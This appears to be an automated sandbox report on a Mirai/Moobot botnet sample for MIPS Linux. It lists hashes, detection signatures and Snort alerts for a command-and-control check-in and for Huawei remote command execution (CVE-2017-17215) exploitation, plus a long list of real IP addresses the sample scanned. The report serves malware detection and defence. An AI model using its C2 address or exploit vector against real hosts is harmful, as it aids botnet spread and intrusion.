Linux Analysis Report
mbl5k2b7z8.elf

Overview

General Information

Sample Name: mbl5k2b7z8.elf
Original Sample Name: d7f3432247daa3564a2f9f282fd892ca.elf
Analysis ID: 830716
MD5: d7f3432247daa3564a2f9f282fd892ca
SHA1: 58ddd0d4593d6362f371acb8877671edb8463d99
SHA256: 686fb10624e0f6001922f5a7da9d6c10671b960e04da8cb6300bd81671d4407d
Tags: 32elfmipsmirai
Infos:

Detection

Mirai, Moobot
Score: 96
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Performs DNS queries to domains with low reputation
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Uses the "uname" system call to query kernel version information (possible evasion)
Executes the "chmod" command used to modify permissions
Enumerates processes within the "proc" file system
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample has stripped symbol table
Sample tries to set the executable flag
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: mbl5k2b7z8.elf ReversingLabs: Detection: 64%
Source: mbl5k2b7z8.elf Virustotal: Detection: 59% Perma Link

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:36176 -> 195.133.40.202:56999
Source: Traffic Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 195.133.40.202:56999 -> 192.168.2.23:36176
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60670 -> 163.18.94.240:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33478 -> 41.37.71.18:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54264 -> 34.128.181.63:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 197.4.207.53 ports 1,2,3,5,7,37215
Source: global traffic TCP traffic: 41.203.171.49 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33478 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 33478
Source: unknown Network traffic detected: HTTP traffic on port 54264 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 44838 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52512 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 46706 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 52512
Source: unknown Network traffic detected: HTTP traffic on port 56602 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 56602
Source: unknown Network traffic detected: HTTP traffic on port 44448 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 58890 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 44552 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55072 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55072 -> 37215
Performs DNS queries to domains with low reputation
Source: DNS query: test.zxyes.xyz
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:36176 -> 195.133.40.202:56999
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 54.134.165.245:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.254.115.250:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.170.162.96:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.166.16.10:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.107.9.134:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.32.148.201:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.178.9.75:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.34.158.157:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.106.57.232:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.232.100.171:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.203.30.151:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.156.3.203:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 27.233.42.33:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.101.95.145:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.242.17.129:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.36.237.157:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.250.155.229:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.49.109.56:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.44.109.50:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.166.175.84:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.197.193.126:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.107.138.203:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.146.104.254:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.245.51.226:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.83.159.7:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.8.67.166:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.184.27.146:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.199.223.14:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.39.108.89:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.71.2.245:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.107.179.6:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 89.178.40.44:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.155.222.138:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.100.131.123:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 119.74.171.97:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 144.113.192.15:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.65.94.47:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 31.109.180.222:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.244.140.6:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.216.3.85:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.62.217.138:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.169.120.73:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 8.81.35.171:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.160.88.131:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.242.118.254:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.199.33.234:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.79.11.2:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 110.17.94.7:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.174.229.247:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.193.62.108:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 169.249.27.5:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.42.135.7:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.156.238.30:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.72.242.214:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.59.219.50:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.29.42.32:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.205.141.23:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 124.247.197.44:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.41.179.16:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.58.96.60:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.172.63.185:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 8.151.202.202:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.58.44.99:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.136.114.61:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 139.246.9.213:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.36.131.139:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.179.238.163:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.171.120.43:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.16.120.81:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.45.172.115:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.200.143.84:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.114.205.33:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 98.207.174.144:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.171.182.50:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.20.24.8:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.139.19.241:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.95.123.234:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.69.159.155:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.92.231.13:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.183.241.201:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 211.57.242.70:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.241.208.240:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.165.27.138:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.134.235.78:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.6.234.93:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.87.147.17:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.6.203.1:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.118.34.121:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.78.189.30:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.15.127.236:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.131.10.99:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.61.64.252:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.111.133.122:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.16.214.196:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.30.228.75:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.106.68.220:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.24.146.209:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.203.174.125:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.79.117.11:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 24.151.141.22:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.76.165.116:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.194.84.2:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 154.243.162.23:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.168.76.16:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 181.185.56.137:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.50.125.97:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.69.120.50:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.96.90.202:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.110.46.177:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.103.223.44:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.102.138.141:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 178.203.92.132:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.63.72.171:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 102.82.96.228:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.196.55.32:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 24.207.121.192:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.84.224.48:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.214.29.219:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.71.129.212:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.9.188.37:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.198.147.177:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.62.164.6:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.43.229.30:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.103.108.54:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.186.163.171:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 61.12.232.155:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.87.148.181:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.14.29.36:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.116.26.12:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.57.243.104:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.80.200.69:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 189.149.175.152:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.23.112.87:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.117.255.214:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.165.148.20:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.206.120.40:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.92.99.20:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.240.182.121:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.183.21.150:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.1.67.12:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 190.8.124.83:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.10.181.82:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 89.16.115.135:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.140.255.201:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.143.222.209:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 95.179.231.115:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.116.146.234:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.152.173.53:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.167.197.215:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.240.46.81:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.142.121.93:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 25.238.182.3:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.104.53.191:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.20.144.36:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 130.191.12.7:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.160.156.14:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.49.248.172:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.39.156.31:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.10.123.37:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.89.6.212:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.223.155.188:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.74.249.120:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.102.213.245:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 217.139.72.222:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 75.190.150.41:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.211.161.186:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.216.167.142:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 71.188.247.18:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 132.1.161.73:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.196.34.27:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.44.189.254:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.171.251.70:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.165.69.222:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 72.44.193.168:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 66.247.138.26:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 213.251.159.107:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.88.209.95:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.201.184.111:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.239.40.99:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.240.206.26:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.132.162.113:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.228.198.1:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.115.167.70:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 113.27.21.182:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.120.142.103:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.242.140.59:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.190.43.44:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.223.222.14:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 212.81.128.124:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.159.69.233:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.106.141.21:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 121.57.29.144:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 1.160.213.113:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.85.168.170:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.116.170.228:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 63.69.33.227:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.61.200.132:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 24.97.25.101:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.19.57.54:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.4.86.18:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.232.148.83:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.196.6.114:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.94.157.86:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.238.233.127:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.100.45.107:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 135.220.157.234:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.117.127.40:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 39.253.106.43:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.152.228.112:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.223.58.168:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 114.129.248.214:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 27.244.149.57:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.119.190.158:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 193.251.12.172:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 151.94.129.171:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.135.252.9:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 53.53.156.55:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.1.159.190:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.166.96.106:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.199.164.130:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 46.98.228.89:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.120.95.154:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 209.119.187.231:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 1.95.32.2:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.71.17.38:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 88.13.234.255:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.17.129.116:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.21.35.5:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.1.171.164:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.0.20.172:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.23.166.250:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.128.42.228:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.225.14.173:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.186.232.16:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.76.28.190:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 50.88.242.214:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.137.97.69:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.62.93.192:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.173.81.43:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 133.110.222.217:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.59.114.101:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.8.177.255:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.154.40.229:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.109.220.93:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.58.250.2:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.59.220.64:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.106.130.195:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.225.169.224:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.11.34.176:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.213.57.212:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.129.196.111:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 111.64.249.224:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 52.3.196.4:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.245.193.1:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 27.68.209.57:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 208.119.4.39:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 64.214.66.72:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.10.152.223:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.181.217.157:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.72.212.4:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.253.30.5:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.54.171.141:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 52.213.233.77:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.76.113.83:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.145.168.73:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.245.239.14:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.96.120.246:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.250.216.35:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.56.111.86:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.95.39.45:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.129.21.7:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 194.172.43.78:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.7.217.120:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.117.248.134:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.122.221.26:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.254.173.176:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 108.9.179.207:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.85.10.59:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.173.72.94:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.105.255.14:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.108.113.14:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.86.78.165:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 67.114.128.62:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 138.186.46.93:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 120.2.93.207:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.91.23.183:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.58.136.144:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 204.192.188.218:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.20.210.24:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.73.124.127:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.179.170.161:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.65.55.47:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.177.253.151:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.133.117.175:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.131.88.164:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 144.228.62.84:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 1.58.60.193:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.172.139.78:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.76.111.81:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.46.149.8:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.79.34.115:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.136.244.124:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.233.200.50:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 84.153.0.23:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.235.150.175:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.99.43.183:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.73.51.59:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.34.79.85:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.51.84.6:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.81.93.19:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.232.202.44:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.182.216.74:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.229.250.93:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 70.11.247.218:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.218.42.102:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.67.46.55:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 138.71.114.10:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 41.198.106.172:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 197.59.188.32:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 157.21.111.241:37215
Source: global traffic TCP traffic: 192.168.2.23:48657 -> 84.75.225.46:37215
